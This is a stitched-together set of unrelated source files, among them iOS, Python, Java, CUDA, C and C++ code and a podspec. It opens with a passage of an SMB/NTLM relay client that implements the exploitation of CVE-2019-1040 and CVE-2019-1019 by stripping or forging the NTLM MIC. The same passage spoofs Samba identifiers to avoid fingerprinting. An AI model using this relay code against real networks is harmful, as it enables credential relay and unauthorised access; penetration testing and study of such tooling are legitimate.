SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters']) sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2']) sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength'] sessionData.fromString(sessionResponse['Data']) #respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob']) #return respToken['ResponseToken'] return sessionData['SecurityBlob'] def sendStandardSecurityAuth(self, sessionSetupData): v1client = self.session.getSMBServer() flags2 = v1client.get_flags()[1] v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY)) if sessionSetupData['Account'] != '': smb = NewSMBPacket() smb['Flags1'] = 8 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Data() sessionSetup['Parameters']['MaxBuffer'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VCNumber'] = os.getpid() sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey'] sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd']) sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd']) sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd'] sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd'] sessionSetup['Data']['Account'] = sessionSetupData['Account'] sessionSetup['Data']['PrimaryDomain'] = sessionSetupData['PrimaryDomain'] sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() try: smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX) except: return None, STATUS_LOGON_FAILURE else: v1client.set_uid(smb['Uid']) return smb, STATUS_SUCCESS else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials clientResponse = None errorCode = STATUS_ACCESS_DENIED return clientResponse, errorCode def sendAuth(self, authenticateMessageBlob, serverChallenge=None): # When exploiting CVE-2019-1040, remove flags if self.serverConfig.remove_mic: authMessage = NTLMAuthChallengeResponse() authMessage.fromString(authenticateMessageBlob) if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION authMessage['MIC'] = b'' authMessage['MICLen'] = 0 authMessage['Version'] = b'' authMessage['VersionLen'] = 0 authenticateMessageBlob = authMessage.getData() #if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: # # We need to unwrap SPNEGO and get the NTLMSSP # respToken = SPNEGO_NegTokenResp(authenticateMessageBlob) # authData = respToken['ResponseToken'] #else: authData = authenticateMessageBlob signingKey = None if self.serverConfig.remove_target: # Trying to exploit CVE-2019-1019 # Discovery and Implementation by @simakov_marina and @YaronZi # respToken2 = SPNEGO_NegTokenResp(authData) authenticateMessageBlob = authData errorCode, signingKey = self.netlogonSessionKey(authData) # Recalculate MIC res = NTLMAuthChallengeResponse() res.fromString(authenticateMessageBlob) newAuthBlob = authenticateMessageBlob[0:0x48] + b'\x00'*16 + authenticateMessageBlob[0x58:] relay_MIC = hmac_md5(signingKey, self.negotiateMessage + self.challengeMessage + newAuthBlob) respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:] authData = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:] #authData = respToken2.getData() if self.session.getDialect() == SMB_DIALECT: token, errorCode = self.sendAuthv1(authData, serverChallenge) else: token, errorCode = self.sendAuthv2(authData, serverChallenge) if signingKey: logging.info("Enabling session signing") self.session._SMBConnection.set_session_key(signingKey) return token, errorCode def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: # We need to unwrap SPNEGO and get the NTLMSSP respToken = SPNEGO_NegTokenResp(authenticateMessageBlob) authData = respToken['ResponseToken'] else: authData = authenticateMessageBlob v2client = self.session.getSMBServer() sessionSetup = SMB2SessionSetup() sessionSetup['Flags'] = 0 packet = v2client.SMB_PACKET() packet['Command'] = SMB2_SESSION_SETUP packet['Data'] = sessionSetup # Reusing the previous structure sessionSetup['SecurityBufferLength'] = len(authData) sessionSetup['Buffer'] = authData packetID = v2client.sendSMB(packet) packet = v2client.recvSMB(packetID) return packet, packet['Status'] def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: # We need to unwrap SPNEGO and get the NTLMSSP respToken = SPNEGO_NegTokenResp(authenticateMessageBlob) authData = respToken['ResponseToken'] else: authData = authenticateMessageBlob v1client = self.session.getSMBServer() smb = NewSMBPacket() smb['Flags1'] = SMB.FLAGS1_PATHCASELESS smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_UNICODE # Are we required to sign SMB? If so we do it, if not we skip it if v1client.is_signing_required(): smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE smb['Uid'] = v1client.get_uid() sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() sessionSetup['Parameters']['MaxBufferSize'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 sessionSetup['Parameters']['VcNumber'] = 1 sessionSetup['Parameters']['SessionKey'] = 0 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE # Fake Data here, don't want to get us fingerprinted sessionSetup['Data']['NativeOS'] = 'Unix' sessionSetup['Data']['NativeLanMan'] = 'Samba' sessionSetup['Parameters']['SecurityBlobLength'] = len(authData) sessionSetup['Data']['SecurityBlob'] = authData smb.addCommand(sessionSetup) v1client.sendSMB(smb) smb = v1client.recvSMB() errorCode = smb['ErrorCode'] << 16 errorCode += smb['_reserved'] << 8 errorCode += smb['ErrorClass'] return smb, errorCode def getStandardSecurityChallenge(self): if self.session.getDialect() == SMB_DIALECT: return self.session.getSMBServer().get_encryption_key() else: return None def isAdmin(self): rpctransport = SMBTransport(self.session.getRemoteHost(), 445, r'\svcctl', smb_connection=self.session) dce = rpctransport.get_dce_rpc() try: dce.connect() except: pass else: dce.bind(scmr.MSRPC_UUID_SCMR) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx ans = scmr.hROpenSCManagerW(dce,'{}\x00'.format(self.target.hostname),'ServicesActive\x00', 0xF003F) return "TRUE" except scmr.DCERPCException as e: pass return "FALSE"
13,149
458
// // LAZShader.h // LidarViewer // // Created by <NAME> on 10/27/15. // Copyright © 2015-2017 mousebird consulting. All rights reserved. // #import <UIKit/UIKit.h> #import "MaplyShader.h" #import "MaplyBaseViewController.h" // Name of the point size uniform attribute. extern NSString* const kMaplyLAZShaderPointSize; // Name of the zMin uniform attribute (for the ramp shader) extern NSString* const kMaplyLAZShaderZMin; // Name of the zMax uniform attribute (for the ramp shader) extern NSString* const kMaplyLAZShaderZMax; // This is a simple point shader that passes colors in MaplyShader *MaplyLAZBuildPointShader(NSObject<MaplyRenderControllerProtocol> *viewC); // This shader uses a ramp shader texture to look up colors MaplyShader *MaplyLAZBuildRampPointShader(NSObject<MaplyRenderControllerProtocol> *viewC,UIImage *colorRamp);
278
1,262
# coding: utf8 # MIT License import json import uuid import os import subprocess from time import time def tidy(text): return subprocess.check_output(['/usr/bin/php', 'tidy.php', text]) title = os.environ['POPCLIP_BROWSER_TITLE'] html = os.environ['POPCLIP_HTML'] text = os.environ['POPCLIP_TEXT'] url = os.environ['POPCLIP_BROWSER_URL'] path = os.environ['POPCLIP_OPTION_LIBRARY'] style = os.environ['POPCLIP_OPTION_STYLE'] name = str(uuid.uuid1()).upper() path = os.path.expanduser(path) if not os.path.exists(path): raise SystemExit(2) body = text.replace("\n", "<br />")\ .replace("\t", " ")\ .replace(" ", "&nbsp;&nbsp;") if style == "Clean": note = tidy(html or body) elif style == "Original": note = html or body else: note = text cells = [] if not title: title = text.replace("\n", " ")[:text.find(' ', 35)] + "..." cells.append({ "type": "text", "data": note }) if url: cells.append({ "type": "text", "data": "<p>Clipped from: <a href=\"{0}\">{0}</a></p>".format(url) }) content = { "title": title, "cells": cells } meta = { "created_at": int(time()), "tags": [], "title": title, "updated_at": int(time()), "uuid": name } newpath = path + '/Inbox.qvnotebook/' + name + '.qvnote' if not os.path.exists(newpath): os.makedirs(newpath) with open(newpath + "/content.json", 'wb') as f: json.dump(content, f, sort_keys=True, indent=2) with open(newpath + "/meta.json", 'wb') as f: json.dump(meta, f, sort_keys=True, indent=2)
688
558
<reponame>jonfairbanks/rtsp-nvr<filename>v2/backend/admin/form.py import sqlalchemy from flask_admin.form import BaseForm from flask_admin.form.fields import Select2Field from flask_admin.model.form import converts from flask_admin.contrib.sqla.form import AdminModelConverter class ReorderableForm(BaseForm): def __init__(self, formdata=None, obj=None, prefix=u'', **kwargs): super().__init__(formdata=formdata, obj=obj, prefix=prefix, **kwargs) if hasattr(self, 'field_order'): for field_name in self.field_order: self._fields.move_to_end(field_name) class EnumField(Select2Field): def __init__(self, column, **kwargs): assert isinstance(column.type, sqlalchemy.sql.sqltypes.Enum) def coercer(value): # coerce incoming value to enum value if isinstance(value, column.type.enum_class): return value elif isinstance(value, str): return column.type.enum_class[value] else: raise ValueError('Invalid choice {enumclass} {value}'.format( enumclass=column.type.enum_class, value=value )) super(EnumField, self).__init__( choices=[(v, v) for v in column.type.enums], coerce=coercer, **kwargs ) def pre_validate(self, form): for v, _ in self.choices: if self.data == self.coerce(v): break else: raise ValueError(self.gettext('Not a valid choice')) class CustomAdminConverter(AdminModelConverter): @converts('sqlalchemy.sql.sqltypes.Enum') def convert_enum(self, field_args, **extra): return EnumField(column=extra['column'], **field_args)
813
497
//#include <torch/torch.h> #include <torch/extension.h> #include "GANet_kernel.h" extern "C" int lga_cuda_backward (at::Tensor input, at::Tensor filters, at::Tensor gradOutput, at::Tensor gradInput, at::Tensor gradFilters, const int radius) { lga_backward (input, filters, gradOutput, gradInput, gradFilters, radius); return 1; } extern "C" int lga_cuda_forward (at::Tensor input, at::Tensor filters, at::Tensor output, const int radius) { lga_forward (input, filters, output, radius); return 1; } extern "C" int lga3d_cuda_backward (at::Tensor input, at::Tensor filters, at::Tensor gradOutput, at::Tensor gradInput, at::Tensor gradFilters, const int radius) { lga3d_backward (input, filters, gradOutput, gradInput, gradFilters, radius); return 1; } extern "C" int lga3d_cuda_forward (at::Tensor input, at::Tensor filters, at::Tensor output, const int radius) { lga3d_forward (input, filters, output, radius); return 1; } extern "C" int sga_cuda_forward (at::Tensor input, at::Tensor guidance_down, at::Tensor guidance_up, at::Tensor guidance_right, at::Tensor guidance_left, at::Tensor temp_out, at::Tensor output, at::Tensor mask) { sga_kernel_forward (input, guidance_down, guidance_up, guidance_right, guidance_left, temp_out, output, mask); return 1; } extern "C" int sga_cuda_backward (at::Tensor input, at::Tensor guidance_down, at::Tensor guidance_up, at::Tensor guidance_right, at::Tensor guidance_left, at::Tensor temp_out, at::Tensor mask, at::Tensor max_idx, at::Tensor gradOutput, at::Tensor temp_grad, at::Tensor gradInput, at::Tensor grad_down, at::Tensor grad_up, at::Tensor grad_right, at::Tensor grad_left) { sga_kernel_backward (input, guidance_down, guidance_up, guidance_right, guidance_left, temp_out, mask, max_idx, gradOutput, temp_grad, gradInput, grad_down, grad_up, grad_right, grad_left); return 1; } PYBIND11_MODULE (TORCH_EXTENSION_NAME, GANet) { GANet.def ("lga_cuda_forward", &lga_cuda_forward, "lga forward (CUDA)"); GANet.def ("lga_cuda_backward", &lga_cuda_backward, "lga backward (CUDA)"); GANet.def ("lga3d_cuda_forward", &lga3d_cuda_forward, "lga3d forward (CUDA)"); GANet.def ("lga3d_cuda_backward", &lga3d_cuda_backward, "lga3d backward (CUDA)"); GANet.def ("sga_cuda_backward", &sga_cuda_backward, "sga backward (CUDA)"); GANet.def ("sga_cuda_forward", &sga_cuda_forward, "sga forward (CUDA)"); }
1,035
3,539
/* * libwebsockets - small server side websockets and web server implementation * * Copyright (C) 2010 - 2020 <NAME> <<EMAIL>> * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to * deal in the Software without restriction, including without limitation the * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or * sell copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS * IN THE SOFTWARE. */ /*! \defgroup generic AES * ## Generic AES related functions * * Lws provides generic AES functions that abstract the ones * provided by whatever tls library you are linking against. * * It lets you use the same code if you build against mbedtls or OpenSSL * for example. */ ///@{ #if defined(LWS_WITH_MBEDTLS) #include <mbedtls/aes.h> #include <mbedtls/gcm.h> #endif enum enum_aes_modes { LWS_GAESM_CBC, LWS_GAESM_CFB128, LWS_GAESM_CFB8, LWS_GAESM_CTR, LWS_GAESM_ECB, LWS_GAESM_OFB, LWS_GAESM_XTS, /* care... requires double-length key */ LWS_GAESM_GCM, LWS_GAESM_KW, }; enum enum_aes_operation { LWS_GAESO_ENC, LWS_GAESO_DEC }; enum enum_aes_padding { LWS_GAESP_NO_PADDING, LWS_GAESP_WITH_PADDING }; /* include/libwebsockets/lws-jwk.h must be included before this */ #define LWS_AES_BLOCKSIZE 128 #define LWS_AES_CBC_BLOCKLEN 16 struct lws_genaes_ctx { #if defined(LWS_WITH_MBEDTLS) union { mbedtls_aes_context ctx; #if defined(MBEDTLS_CIPHER_MODE_XTS) mbedtls_aes_xts_context ctx_xts; #endif mbedtls_gcm_context ctx_gcm; } u; #else EVP_CIPHER_CTX *ctx; const EVP_CIPHER *cipher; ENGINE *engine; char init; #endif unsigned char tag[16]; struct lws_gencrypto_keyelem *k; enum enum_aes_operation op; enum enum_aes_modes mode; enum enum_aes_padding padding; int taglen; char underway; }; /** lws_genaes_create() - Create RSA public decrypt context * * \param ctx: your struct lws_genaes_ctx * \param op: LWS_GAESO_ENC or LWS_GAESO_DEC * \param mode: one of LWS_GAESM_ * \param el: struct prepared with key element data * \param padding: 0 = no padding, 1 = padding * \param engine: if openssl engine used, pass the pointer here * * Creates an RSA context with a public key associated with it, formed from * the key elements in \p el. * * Returns 0 for OK or nonzero for error. * * This and related APIs operate identically with OpenSSL or mbedTLS backends. */ LWS_VISIBLE LWS_EXTERN int lws_genaes_create(struct lws_genaes_ctx *ctx, enum enum_aes_operation op, enum enum_aes_modes mode, struct lws_gencrypto_keyelem *el, enum enum_aes_padding padding, void *engine); /** lws_genaes_destroy() - Destroy genaes AES context * * \param ctx: your struct lws_genaes_ctx * \param tag: NULL, or, GCM-only: buffer to receive tag * \param tlen: 0, or, GCM-only: length of tag buffer * * Destroys any allocations related to \p ctx. * * For GCM only, up to tlen bytes of tag buffer will be set on exit. * * This and related APIs operate identically with OpenSSL or mbedTLS backends. */ LWS_VISIBLE LWS_EXTERN int lws_genaes_destroy(struct lws_genaes_ctx *ctx, unsigned char *tag, size_t tlen); /** lws_genaes_crypt() - Encrypt or decrypt * * \param ctx: your struct lws_genaes_ctx * \param in: input plaintext or ciphertext * \param len: length of input (which is always length of output) * \param out: output plaintext or ciphertext * \param iv_or_nonce_ctr_or_data_unit_16: NULL, iv, nonce_ctr16, or data_unit16 * \param stream_block_16: pointer to 16-byte stream block for CTR mode only * \param nc_or_iv_off: NULL or pointer to nc, or iv_off * \param taglen: length of tag * * Encrypts or decrypts using the AES mode set when the ctx was created. * The last three arguments have different meanings depending on the mode: * * KW CBC CFB128 CFB8 CTR ECB OFB XTS * iv_or_nonce_ct.._unit_16 : iv iv iv iv nonce NULL iv dataunt * stream_block_16 : NULL NULL NULL NULL stream NULL NULL NULL * nc_or_iv_off : NULL NULL iv_off NULL nc_off NULL iv_off NULL * * For GCM: * * iv_or_nonce_ctr_or_data_unit_16 : iv * stream_block_16 : pointer to tag * nc_or_iv_off : set pointed-to size_t to iv length * in : first call: additional data, subsequently * : input data * len : first call: add data length, subsequently * : input / output length * * The length of the optional arg is always 16 if used, regardless of the mode. * * Returns 0 for OK or nonzero for error. * * This and related APIs operate identically with OpenSSL or mbedTLS backends. */ LWS_VISIBLE LWS_EXTERN int lws_genaes_crypt(struct lws_genaes_ctx *ctx, const uint8_t *in, size_t len, uint8_t *out, uint8_t *iv_or_nonce_ctr_or_data_unit_16, uint8_t *stream_block_16, size_t *nc_or_iv_off, int taglen); ///@}
2,030
5,169
<reponame>morizotter/Specs<filename>Specs/DMAppearance/0.1/DMAppearance.podspec.json { "name": "DMAppearance", "version": "0.1", "summary": "Partial functionality from UIAppearance proxy for custom objects", "description": " * Partial functionality from UIAppearance proxy for custom objects apart from UIKit ones\n", "homepage": "https://github.com/andrewgubanov/DMAppearance", "license": { "type": "MIT", "file": "LICENSE.md" }, "authors": { "Hyper": "<EMAIL>" }, "platforms": { "ios": "7.0" }, "source": { "git": "https://github.com/andrewgubanov/DMAppearance.git", "tag": "0.1" }, "source_files": "DMAppearance/*.{h,m}", "frameworks": [ "Foundation", "CoreGraphics" ], "requires_arc": true }
316
392
<filename>platform-api/src/main/java/com/platform/service/ApiChannelService.java package com.platform.service; import com.platform.dao.ApiChannelMapper; import com.platform.entity.ChannelVo; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import java.util.List; import java.util.Map; @Service public class ApiChannelService { @Autowired private ApiChannelMapper channelDao; public ChannelVo queryObject(Integer id) { return channelDao.queryObject(id); } public List<ChannelVo> queryList(Map<String, Object> map) { return channelDao.queryList(map); } public int queryTotal(Map<String, Object> map) { return channelDao.queryTotal(map); } public void save(ChannelVo order) { channelDao.save(order); } public void update(ChannelVo order) { channelDao.update(order); } public void delete(Integer id) { channelDao.delete(id); } public void deleteBatch(Integer[] ids) { channelDao.deleteBatch(ids); } }
417
483
<reponame>asad-awadia/nitrite-java /* * Copyright (c) 2017-2020. Nitrite author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.dizitart.no2.sync; import lombok.extern.slf4j.Slf4j; import org.dizitart.no2.collection.Document; import org.dizitart.no2.collection.NitriteId; import org.dizitart.no2.collection.events.CollectionEventInfo; import org.dizitart.no2.collection.events.CollectionEventListener; import org.dizitart.no2.sync.crdt.LastWriteWinState; import org.dizitart.no2.sync.event.ReplicationEvent; import org.dizitart.no2.sync.event.ReplicationEventType; import org.dizitart.no2.sync.message.DataGateFeed; import java.util.Collections; import static org.dizitart.no2.common.Constants.REPLICATOR; /** * @author <NAME> */ @Slf4j class ReplicaChangeListener implements CollectionEventListener { private final ReplicationTemplate replicationTemplate; private final MessageTemplate messageTemplate; public ReplicaChangeListener(ReplicationTemplate replicationTemplate, MessageTemplate messageTemplate) { this.replicationTemplate = replicationTemplate; this.messageTemplate = messageTemplate; } @Override public void onEvent(CollectionEventInfo<?> eventInfo) { try { if (eventInfo != null) { if (!REPLICATOR.equals(eventInfo.getOriginator())) { switch (eventInfo.getEventType()) { case Insert: case Update: Document document = (Document) eventInfo.getItem(); handleModifyEvent(document); break; case Remove: document = (Document) eventInfo.getItem(); handleRemoveEvent(document); break; case IndexStart: case IndexEnd: break; } } } } catch (Exception e) { log.error("Error while processing collection event", e); replicationTemplate.postEvent(new ReplicationEvent(ReplicationEventType.Error, e)); } } private void handleRemoveEvent(Document document) { LastWriteWinState state = new LastWriteWinState(); NitriteId nitriteId = document.getId(); Long deleteTime = document.getLastModifiedSinceEpoch(); if (replicationTemplate.getCrdt() != null) { replicationTemplate.getCrdt().getTombstones().put(nitriteId, deleteTime); state.setTombstones(Collections.singletonMap(nitriteId.getIdValue(), deleteTime)); sendFeed(state); } } private void handleModifyEvent(Document document) { LastWriteWinState state = new LastWriteWinState(); state.setChanges(Collections.singleton(document)); sendFeed(state); } private void sendFeed(LastWriteWinState state) { if (replicationTemplate.shouldExchangeFeed() && messageTemplate != null) { MessageFactory factory = replicationTemplate.getMessageFactory(); DataGateFeed feedMessage = factory.createFeedMessage(replicationTemplate.getConfig(), replicationTemplate.getReplicaId(), state); FeedJournal journal = replicationTemplate.getFeedJournal(); messageTemplate.sendMessage(feedMessage); journal.write(state); } } }
1,620
473
<gh_stars>100-1000 { "comment":" This config file uses default settings for all but the required values see README.md for docs", "id": "default", "description": "Default settings", "engineFactory": "com.actionml.RecommendationEngine", "datasource": { "params" : { "appName": "default-rank", "eventNames": ["show", "like"] } }, "sparkConf": { "spark.serializer": "org.apache.spark.serializer.KryoSerializer", "spark.kryo.registrator": "org.apache.mahout.sparkbindings.io.MahoutKryoRegistrator", "spark.kryo.referenceTracking": "false", "spark.kryoserializer.buffer": "300m", "spark.executor.memory": "4g", "es.index.auto.create": "true" }, "algorithms": [ { "comment": "simplest setup where all values are default, popularity based backfill, must add eventsNames", "name": "ur", "params": { "comment": "must have data for the first event or the model will not build, other events are optional", "appName": "default-rank", "indexName": "urindex", "typeName": "items", "recsModel": "all", "eventNames": ["show", "like"], "rankings":[ { "name": "popularRank", "type": "popular", "eventNames": ["show", "like"], "duration": "3650 days", "endDate": "ISO8601-date" },{ "name": "defaultRank", "type": "userDefined" },{ "name": "uniqueRank", "type": "random" } ] } } ] }
717
10,225
<reponame>mweber03/quarkus package org.jboss.resteasy.reactive.server.core; import org.jboss.resteasy.reactive.server.mapping.RuntimeResource; public class UriMatch { public final String matched; public final RuntimeResource resource; public final Object target; public UriMatch(String matched, RuntimeResource resource, Object target) { this.matched = matched; this.resource = resource; this.target = target; } }
156
2,338
<gh_stars>1000+ //===--- status_test.cpp - Tests for the Status and Expected classes ------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// #include "status.h" #include "gtest/gtest.h" #include <memory> namespace { struct RefCounter { static int Count; RefCounter() { ++Count; } ~RefCounter() { --Count; } RefCounter(const RefCounter &) = delete; RefCounter &operator=(const RefCounter &) = delete; }; int RefCounter::Count; TEST(Expected, RefCounter) { RefCounter::Count = 0; using uptr = std::unique_ptr<RefCounter>; acxxel::Expected<uptr> E0(uptr(new RefCounter)); EXPECT_FALSE(E0.isError()); EXPECT_EQ(1, RefCounter::Count); acxxel::Expected<uptr> E1(std::move(E0)); EXPECT_FALSE(E1.isError()); EXPECT_EQ(1, RefCounter::Count); acxxel::Expected<uptr> E2(acxxel::Status("nothing in here yet")); EXPECT_TRUE(E2.isError()); EXPECT_EQ(1, RefCounter::Count); E2 = std::move(E1); EXPECT_FALSE(E2.isError()); EXPECT_EQ(1, RefCounter::Count); EXPECT_EQ(1, E2.getValue()->Count); EXPECT_FALSE(E2.isError()); EXPECT_EQ(1, RefCounter::Count); EXPECT_EQ(1, E2.takeValue()->Count); EXPECT_EQ(0, RefCounter::Count); } } // namespace
533
4,526
<reponame>zhaitianduo/libosmium #include "catch.hpp" #include <osmium/builder/attr.hpp> #include <osmium/builder/builder_helper.hpp> #include <osmium/memory/buffer.hpp> #include <osmium/osm/tag.hpp> #include <map> #include <string> #include <utility> #include <vector> using namespace osmium::builder::attr; // NOLINT(google-build-using-namespace) TEST_CASE("create tag list") { osmium::memory::Buffer buffer{10240}; SECTION("with TagListBuilder from char*") { { osmium::builder::TagListBuilder builder(buffer); builder.add_tag("highway", "primary"); builder.add_tag("name", "Main Street"); } buffer.commit(); } SECTION("with TagListBuilder from pair<const char*, const char*>") { { osmium::builder::TagListBuilder builder(buffer); builder.add_tag(std::pair<const char*, const char*>{"highway", "primary"}); builder.add_tag("name", "Main Street"); } buffer.commit(); } SECTION("with TagListBuilder from pair<const char* const, const char*>") { { osmium::builder::TagListBuilder builder(buffer); builder.add_tag(std::pair<const char* const, const char*>{"highway", "primary"}); builder.add_tag("name", "Main Street"); } buffer.commit(); } SECTION("with TagListBuilder from pair<const char*, const char* const>") { { osmium::builder::TagListBuilder builder(buffer); builder.add_tag(std::pair<const char*, const char* const>{"highway", "primary"}); builder.add_tag("name", "Main Street"); } buffer.commit(); } SECTION("with TagListBuilder from pair<const char* const, const char* const>") { { osmium::builder::TagListBuilder builder(buffer); builder.add_tag(std::pair<const char* const, const char* const>{"highway", "primary"}); builder.add_tag("name", "Main Street"); } buffer.commit(); } SECTION("with TagListBuilder from char* with length") { { osmium::builder::TagListBuilder builder(buffer); builder.add_tag("highway", strlen("highway"), "primary", strlen("primary")); builder.add_tag("nameXX", 4, "Main Street", 11); } buffer.commit(); } SECTION("with TagListBuilder from std::string") { { osmium::builder::TagListBuilder builder(buffer); builder.add_tag(std::string("highway"), std::string("primary")); const std::string source = "name"; std::string gps = "Main Street"; builder.add_tag(source, gps); } buffer.commit(); } SECTION("with add_tag_list from pair<const char*, const char*>") { osmium::builder::add_tag_list(buffer, _tag(std::pair<const char*, const char*>{"highway", "primary"}), _tag("name", "Main Street") ); } SECTION("with add_tag_list from pair<const char* const, const char*>") { osmium::builder::add_tag_list(buffer, _tag(std::pair<const char* const, const char*>{"highway", "primary"}), _tag("name", "Main Street") ); } SECTION("with add_tag_list from pair<const char*, const char* const>") { osmium::builder::add_tag_list(buffer, _tag(std::pair<const char*, const char* const>{"highway", "primary"}), _tag("name", "Main Street") ); } SECTION("with add_tag_list from pair<const char* const, const char* const>") { osmium::builder::add_tag_list(buffer, _tag(std::pair<const char* const, const char* const>{"highway", "primary"}), _tag("name", "Main Street") ); } SECTION("with add_tag_list from vector of pairs (const/const)") { std::vector<std::pair<const char* const, const char* const>> v{ { "highway", "primary" }, { "name", "Main Street" } }; osmium::builder::add_tag_list(buffer, _tags(v)); } SECTION("with add_tag_list from vector of pairs (const/nc)") { std::vector<std::pair<const char* const, const char*>> v{ { "highway", "primary" }, { "name", "Main Street" } }; osmium::builder::add_tag_list(buffer, _tags(v)); } SECTION("with add_tag_list from vector of pairs (nc/const)") { std::vector<std::pair<const char*, const char* const>> v{ { "highway", "primary" }, { "name", "Main Street" } }; osmium::builder::add_tag_list(buffer, _tags(v)); } SECTION("with add_tag_list from vector of pairs (nc/nc)") { std::vector<std::pair<const char*, const char*>> v{ { "highway", "primary" }, { "name", "Main Street" } }; osmium::builder::add_tag_list(buffer, _tags(v)); } SECTION("with add_tag_list from initializer list") { osmium::builder::add_tag_list(buffer, _tags({ { "highway", "primary" }, { "name", "Main Street" } })); } SECTION("with add_tag_list from _tag") { osmium::builder::add_tag_list(buffer, _tag("highway", "primary"), _tag("name", "Main Street") ); } SECTION("with add_tag_list from map") { std::map<const char*, const char*> m{ { "highway", "primary" }, { "name", "Main Street" } }; osmium::builder::add_tag_list(buffer, _tags(m)); } const osmium::TagList& tl = *buffer.select<osmium::TagList>().cbegin(); REQUIRE(osmium::item_type::tag_list == tl.type()); REQUIRE(2 == tl.size()); REQUIRE(tl.has_key("highway")); REQUIRE_FALSE(tl.has_key("unknown")); REQUIRE(tl.has_tag("highway", "primary")); REQUIRE_FALSE(tl.has_tag("highway", "false")); REQUIRE_FALSE(tl.has_tag("foo", "bar")); auto it = tl.begin(); REQUIRE(std::string("highway") == it->key()); REQUIRE(std::string("primary") == it->value()); ++it; REQUIRE(std::string("name") == it->key()); REQUIRE(std::string("Main Street") == it->value()); ++it; REQUIRE(it == tl.end()); REQUIRE(std::string("primary") == tl.get_value_by_key("highway")); REQUIRE(nullptr == tl.get_value_by_key("foo")); REQUIRE(std::string("default") == tl.get_value_by_key("foo", "default")); REQUIRE(std::string("Main Street") == tl["name"]); } TEST_CASE("empty keys and values are okay") { osmium::memory::Buffer buffer{10240}; const auto pos = osmium::builder::add_tag_list(buffer, 